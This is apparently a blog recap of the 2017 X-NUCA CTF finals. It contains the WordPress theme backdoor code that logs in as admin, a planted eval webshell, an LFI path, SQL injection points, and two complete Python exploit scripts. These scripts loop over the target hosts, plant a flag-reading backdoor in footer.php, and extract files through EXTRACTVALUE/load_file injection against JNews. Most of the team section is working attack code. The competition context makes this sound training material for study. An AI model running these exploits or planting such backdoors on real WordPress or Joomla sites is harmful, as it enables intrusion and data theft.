CTFctfCTF

[2017 X-NUCA]总决赛小结

2017-12-23  本文已影响168人  Pr0ph3t

这次X-NUCA的线下赛分成两个部分,第一个是个人赛(纯渗透) 第二个是团队赛(渗透+A&D)


个人赛

个人赛的网络拓扑图


个人赛拓扑.jpeg

(图片有点糊

简单来说就是:
选手 --> 连接VPN --> 到内网访问竞赛平台,通过竞赛平台得到跳板机(攻击机)的ip、连接端口和密码(注意这里的攻击机的意思是你要去这部机上面去攻击靶机),主办方提供了两部攻击机,一部linux一部windows,攻击机不能访问外网

因为自己的电脑是可以访问外网的 所以一直在思考能不能将题目都通过端口转发转出去公网后让小伙伴也体验一下(最终还是没有尝试。。。因为做题时间实在是太紧了。。。

主办方一共给出了6个靶机,其中有一题是pwn,题目ip和端口都要求自己扫描出来

扫出来之后发现很多都有开放22端口、80端口和3306端口,第二题还开放了21端口
然后其中我做出来的是第二题,ftp尝试连接之后发现是ProFTP 1.3.5,经过主办方放hint后知道突破点在这个ftp的mod_copy模块上,搜一波cve发现是这个ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution 其实msf也有相应的模块可以直接用 直接写webshell到web默认目录(/var/www/html/)后getshell看flag

其他题目问了各位师傅后简单总结。。。。因为没看到题目可以描述有点偏差。。请各位大佬斧正Orz

ls | echo | cat flag
ls && cat flag
...

我觉得这次个人赛的关键是服务探测和端口转发,包括服务所在的ip、端口、banner等等获取完整,再根据服务所在的ip和端口进行转发到攻击机上,最后在自己的电脑利用工具和现有exp进行攻击后得到flag

附上端口转发常用命令:
Linux

ssh -C -f -N -g -L 本地端口:靶机:欲转发端口 跳板机用户@本地IP #此命令用于转发单一端口 运行在本机上
ssh -C -f -N -g -D 本地监听端口 跳板机用户@跳板机IP #此命令用于动态端口转发 开启的是socks5

Windows

netsh interface portproxy show all #此命令查看所有端口转发
netsh interface portproxy add v4tov4 listenport=本地监听端口 listenaddress=0.0.0.0 connectport=欲转发端口 connectaddress=欲转发ip #此命令新增一个端口转发
netsh interface portproxy delete v4tov4 listenport=本地监听端口 listenaddress=0.0.0.0 #此命令删除一个端口转发

这次手慢了。。。没有来得及喝上汤。。。。。Orz膜各位大佬。。。


团队赛

这次团队赛的比赛模式之前是没有遇到过的,网络拓扑如下(第二天才给的):


部分拓扑

以上是第一层直连外网的机器(192.108.1.0/24)
第二层我们想开始渗透的时候发现score1已经被师傅们打了Orz。。。所以我就没有渗透第二层太多了。。这是比较大的失误。。。我们应该继续坚持渗透,拿下web2的源码的。。。。所以就这样后面的题目就没有继续渗透下去了。。。哭。。。


我们晚上分析了一下web1的源码,主要发现了以下的几个洞:

  1. 著名的主题后门--详情 这里也是大同小异
    看/wp-content/themes/AccountingTime/Functions.php的最后面
<?php
function _getprepare_widgets(){
    if(!isset($methods)) $methods="cookie";  //
    if(!isset($pre)) $pre="wp_";  //
    if(!isset($is_use_more)) $is_use_more=1;  // 
    if(!isset($d)) $d=$_GET["d"];  //
    if(!isset($posts_auth)) $posts_auth="auth";  //
    if(!isset($widget)) $widget=$pre."set"."_".$posts_auth."_".$methods;  //
    if(!isset($forcemore)) $forcemore=1;  //
    if ($is_use_more ) {
        if($forcemore) {
            if (!is_user_logged_in())
                @call_user_func_array($widget,array($d, true));
        }
    }
    $output="";
    return $output;
}

add_action("init", "_getprepare_widgets");   // 注册函数
?>

我们直接在前台某个页面输入 ?d=1就可以越权登录admin了
登录之后可以有两个getshell点
第一个是对主题文件的编辑,其中有php文件
第二个是上传压缩成zip的webshell,上传后被解压在/wp-content/uploads/2017/12/

  1. 被留下的一句话
    在/wp-includes/rest-api/endpoints/class-wp-rest-relations-controller.php中,内容为
<?php
@eval($_GET['cmd']);
?>
  1. LFI -- wp-vault插件
    在/wp-content/plugins/wp-vault/trunk/wp-vault.php中,wpv-image参数没有过滤就直接包含

    LFI 利用方法:http://xxx/wp-content/plugins/wp-vault/trunk/wp-vault.php?wpv-image=../../../../../../etc/passwd
  2. sql注入 -- kittycatfish 2.2插件
    poc
    注入点1 :/wp-content/plugins/kittycatfish/base.css.php?kc_ad=31&ver=2.0
    注入点2:wp-content/plugins/kittycatfish/kittycatfish.php?kc_ad=37&ver=2.0
    都是kc_ad参数,可以使用盲注直接load_file读取flag文件

  3. sql注入 -- olimometer插件
    注入点:/wp-content/plugins/olimometer/thermometer.php?olimometer_id=1
    olimometer_id参数可以盲注

  4. sql注入 -- easy-modal插件
    poc
    同盲注,但是首先得登录进后台才能利用,比较鸡肋

  5. sql注入? -- ultimate-product-catalogue
    好吧这个没有注入,进去看了一下作者已经加了参数绑定了。。。

我们有点乱的利用脚本

#coding:utf8
import urllib,urllib2
import re
import time
import cookielib
import socket
import json

def easy_webshell(root_url):
    try:
        url = root_url + '/wp-includes/rest-api/endpoints/class-wp-rest-relations-controller.php?%s' % 'cmd=system("cat+/opt/xnuca/flag.txt");'
        req = urllib2.Request(url = url)
        res = urllib2.urlopen(req)
        content = res.read()
        if content != '':
            print root_url + ' -- flag : ' + content
            return 1
        else:
            print root_url + ' fail to get flag through easy_webshell'
            return 0
    except urllib2.URLError as e:
        print 'web_shell error' + e.reason

def LFI(root_url):
    try:
        url = root_url + '/wp-content/plugins/wp-vault/trunk/wp-vault.php?wpv-image=../../../../../opt/xnuca/flag.txt'
        req = urllib2.Request(url = url)
        res = urllib2.urlopen(req)
        content = res.read()
        if content != '':
            print root_url + ' -- flag : ' + content
            return 1
        else:
            print root_url + ' fail to get flag through LFI'
            return 0
    except urllib2.URLError as e:
        print 'LFI error' + e.reason

def loginAsAdmin(root_url):
    try:
        url = root_url
        req = urllib2.Request(url = url)
        res = urllib2.urlopen(req)
        if 'uniform tax rebate chef' not in res.read():
            print 'Theme Not Correct!'
            return
        url = root_url + '/?d=1'
        cookie = cookielib.CookieJar()
        opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie))
        req = urllib2.Request(url = url)
        res = opener.open(req)
        res = opener.open(req)
        content = res.read()
        if '登出' not in content:
            # print '[!] Cannot log in as admin!!!'
            # print content
            return
        return opener
    except urllib2.URLError as e:
        print 'login error' + e.reason

def uploadShell(root_url):
    try:
        opener = loginAsAdmin(root_url)
        if opener is None:
            print '[!] Cannot log in as admin!!!'
            return
        installUrl = root_url + '/wp-admin/theme-editor.php?file=footer.php&theme=AccountingTime'
        getNonceReq = urllib2.Request(url = installUrl)
        res = opener.open(getNonceReq)
        content = res.read()
        if content == '':
            print 'get Nonce Page Error!!!'
            return
        nonceList = re.findall('<input type="hidden" id="_wpnonce" name="_wpnonce" value="([a-zA-Z0-9]+)"',content)
        if nonceList == []:
            print 'get Nonce Page Error!!!!'
            return
        nonce = nonceList[0]
        boundary = '----------%s' % hex(int(time.time() * 1000))
        data = []
        data.append('--%s' % boundary)

        data.append('Content-Disposition: form-data; name="%s"\r\n' % '_wpnonce')
        data.append(nonce)
        data.append('--%s' % boundary)

        data.append('Content-Disposition: form-data; name="%s"\r\n' % '_wp_http_referer')
        data.append('/wp-admin/plugin-install.php')
        data.append('--%s' % boundary)

        data.append('Content-Disposition: form-data; name="%s"\r\n' % 'newcontent')
        data.append('''
<?php global $theme; ?>
    
<?php if($theme->display('footer_widgets')) { ?>
    <div id="footer-widgets" class="clearfix">
        <?php
        /**
        * Footer  Widget Areas. Manage the widgets from: wp-admin -> Appearance -> Widgets 
        */
        ?>
        <div class="footer-widget-box">
            <?php
                if(!dynamic_sidebar('footer_1')) {
                    $theme->hook('footer_1');
                }
            ?>
        </div>
        
        <div class="footer-widget-box">
            <?php
                if(!dynamic_sidebar('footer_2')) {
                    $theme->hook('footer_2');
                }
            ?>
        </div>
        
        <div class="footer-widget-box footer-widget-box-last">
            <?php
                if(!dynamic_sidebar('footer_3')) {
                    $theme->hook('footer_3');
                }
            ?>
        </div>
        
    </div>
<?php  } ?>

    <div id="footer">
    
        <div id="copyrights">
            <?php
                if($theme->display('footer_custom_text')) {
                    $theme->option('footer_custom_text');
                } else { 
                    ?> &copy; <?php echo date('Y'); ?>  <a href="<?php echo home_url(); ?/g"><?php bloginfo('name'); ?></a><?php
                }
            ?> 
        </div>
        
        <?php /* 
            All links in the footer should remain intact. 
            These links are all family friendly and will not hurt your site in any way. 
            Warning! Your site may stop working if these links are edited or deleted 
            
            You can buy this theme without footer links online at https://flexithemes.com/buy/?theme=accountingtime
        */ ?>
        
        <div id="credits">Powered by <a href="http://wordpress.org/"><strong>WordPress</strong></a> | Theme Designed by: <?php echo wp_theme_credits(0); ?>  | Thanks to <?php echo wp_theme_credits(1); ?>, <?php echo wp_theme_credits(2); ?> and <?php echo wp_theme_credits(3); ?></div><!-- #credits -->
        
    </div><!-- #footer -->
    
</div><!-- #container -->

<?php wp_footer(); ?>
<?php $theme->hook('html_after'); ?>
</body>
</html>
<?php if md5($_GET['pr0ph3t'])=='379377cfde157b4d7f6529d448dadd23' echo file_get_contents('/opt/xnuca/flag.txt');?>
''')
        data.append('--%s' % boundary)

        data.append('Content-Disposition: form-data; name="%s"\r\n' % 'action')
        data.append('update')
        data.append('--%s' % boundary)

        data.append('Content-Disposition: form-data; name="%s"\r\n' % 'file')
        data.append('footer.php')
        data.append('--%s' % boundary)

        data.append('Content-Disposition: form-data; name="%s"\r\n' % 'theme')
        data.append('AccountingTime')
        data.append('--%s' % boundary)

        data.append('Content-Disposition: form-data; name="%s"\r\n' % 'scrollto')
        data.append('818.1818237304688')
        data.append('--%s' % boundary)

        data.append('Content-Disposition: form-data; name="%s"\r\n' % 'docs-list')
        data.append('')
        data.append('--%s' % boundary)

        data.append('Content-Disposition: form-data; name="%s"\r\n' % 'submit')
        data.append('更新文件')
        data.append('--%s' % boundary)

        # file = open('fuck.php','rb')
        # data.append('Content-Disposition: form-data; name="%s"; filename="123.php\r\n' % 'pluginzip')
        # data.append('Content-Type: text/php\r\n')
        # data.append(file.read())
        # file.close()
        # data.append('--%s--\r\n' % boundary)

        # data.append('Content-Disposition: form-data; name="%s"\r\n' % 'install-plugin-submit')
        # data.append('现在安装')
        # data.append('--%s' % boundary)

        uploadUrl = root_url + '/wp-admin/theme-editor.php'
        http_body='\r\n'.join(data)

        req=urllib2.Request(uploadUrl, data=http_body)
        req.add_header('Content-Type', 'multipart/form-data; boundary=%s' % boundary)
        req.add_header('User-Agent','Mozilla/5.0')
        try : 
            res = opener.open(req, timeout=10)
        except socket.timeout as e:
            pass
        content = res.read()
        if '文件修改成功' in content: #后面为了方便就把上传和修改footer文件写在一起了。。。 注释掉的都是上传的
            print '[!] ' + root_url + ' getShell through footer.php'
            req = urllib2.Request(root_url+'/?pr0ph3t=dalaohao')
            res = urllib2.urlopen(req)
            content = res.read()
            if 'gongfang' in content:
                print '[!!] ' + root_url + ' get flag ' + re.findall('gongfang_flag\{(.*)\}')[0]
        # if '正在安装您上传的插件' in content:
        #   print '[!] Upload Shell success! Path : /wp-content/uploads/2017/12/123.php'
        #   req = urllib2.Request(root_url+'/wp-content/uploads/2017/12/123.php')
        #   req1 = urllib2.Request(root_url+'/wp-content/uploads/2017/12/.db.inc.php')
        #   try:
        #       urllib2.urlopen(req1, timeout=0.2)
        #   except socket.timeout as e:
        #       pass
        #   try:
        #       urllib2.urlopen(req, timeout=0.2)
        #   except socket.timeout as e:
        #       pass
        #   req = urllib2.Request(root_url+'/wp-content/uploads/2017/12/.index.php',data=json.dumps({"p":"密码","c":"system('cat+/opt/xnuca/flag.txt');"}))
        #   res = urllib2.urlopen(req)
        #   print root_url + ' flag is : ' + res.read()
        # else:
        #   print '[?] Upload Fail....'
    except urllib2.URLError as e:
        print 'upload error' + e.reason

for x in xrange(2,20):
    if x == 8:
        continue
    target = 'http://192.121.' + str(x) + '.31'
# target = 'http://192.108.1.30:8002'# + str(x)
    easy_webshell(target) # ok!
    LFI(target) # ???
    uploadShell(target)

web2的因为没有在第一天获取到源码分析,所以比较吃亏。。队友找了很久才找到一个注入,也同样是利用load_file读取flag,这也是后面我们打得这么凶的原因,注入点:
JNews注入:exp
我们的利用脚本

import requests
import re

se = requests.Session()


def getToken(hostname='192.108.1.14:1180',pos=32,length=32):
    url = 'http://'+hostname+'/index.php?option=com_jnews&view=subscribe&act=subone&Itemid=206'
    res = se.get(url)
    content = res.content
    tokenGroup = re.findall('name="Itemid" value="206" /><input type="hidden" name="(.*)" value',content)
    if tokenGroup != []:
        token = tokenGroup[0]
    else:
        token = ''
    

    #post data
    data = {}
    data['Itemid'] = '206'
    data['name'] = '123123'
    data['email'] = '123@123.com'
    data['receive_html'] = '1'
    data['timezone'] = '00%3A00%3A00'
    data['confirmed'] = '1'
    data['subscribed[1]'] = '1'
    data['sub_list_id[1]'] = "1 AND EXTRACTVALUE(8483,CONCAT(0x5c,(SELECT(ELT(8483=8483,substr(load_file('/opt/xnuca/flag.txt'),"+str(pos)+","+str(length)+")))),0x716b786b71))" #point
    data['acc_level[1]'] = '29'
    data['passwordA'] = 'FJTx2ubwvj2BA'
    data['fromFrontend'] = '1'
    data['act'] = 'subscribe'
    data['subscriber_id'] = '0'
    data['user_id'] = '0'
    data['option'] = 'com_jnews'
    data['task'] = 'save'
    data['boxchecked'] = '0'
    data[token] = '1'
    
    vulUrl = 'http://'+ hostname +'/index.php/component/jnews/'
    res = se.post(vulUrl,data=data)
    flag = re.findall(r'XPATH syntax error: &#039;\\(.*)&#039; SQL=',res.content)
    if flag != []:
        return flag[0]
    else:
        return 'error'

for x in xrange(1,20): #跳过一些确认打不了的主机加快时间
    if x == 8:
        continue
    if x == 3:
        continue
    if x == 7:
        continue
    if x == 10:
        continue
    if x == 11:
        continue
    if x == 12:
        continue
# hostname = '192.108.1.14:1180'
    hostname = '192.121.' + str(x) + '.34'
    win = ''
    win = getToken(hostname,1)
    win += getToken(hostname,32)
    win += getToken(hostname,63,17)[:-5]
    print hostname + ' get flag ' +win


总结来说这次比赛还是有不足的,第一就是个人赛的有点瓜皮。。。主办方给的提示是题目都没有暴力操作。。。所以自己就很麻瓜的连扫目录都懒得扫了。。。导致错过www.zip文件。第二就是策略不太对,第一天应该侧重点在渗透和下源码,而不是一被打了就乱了节奏 Orz 师傅们都太强了。。。

上一篇下一篇

猜你喜欢

热点阅读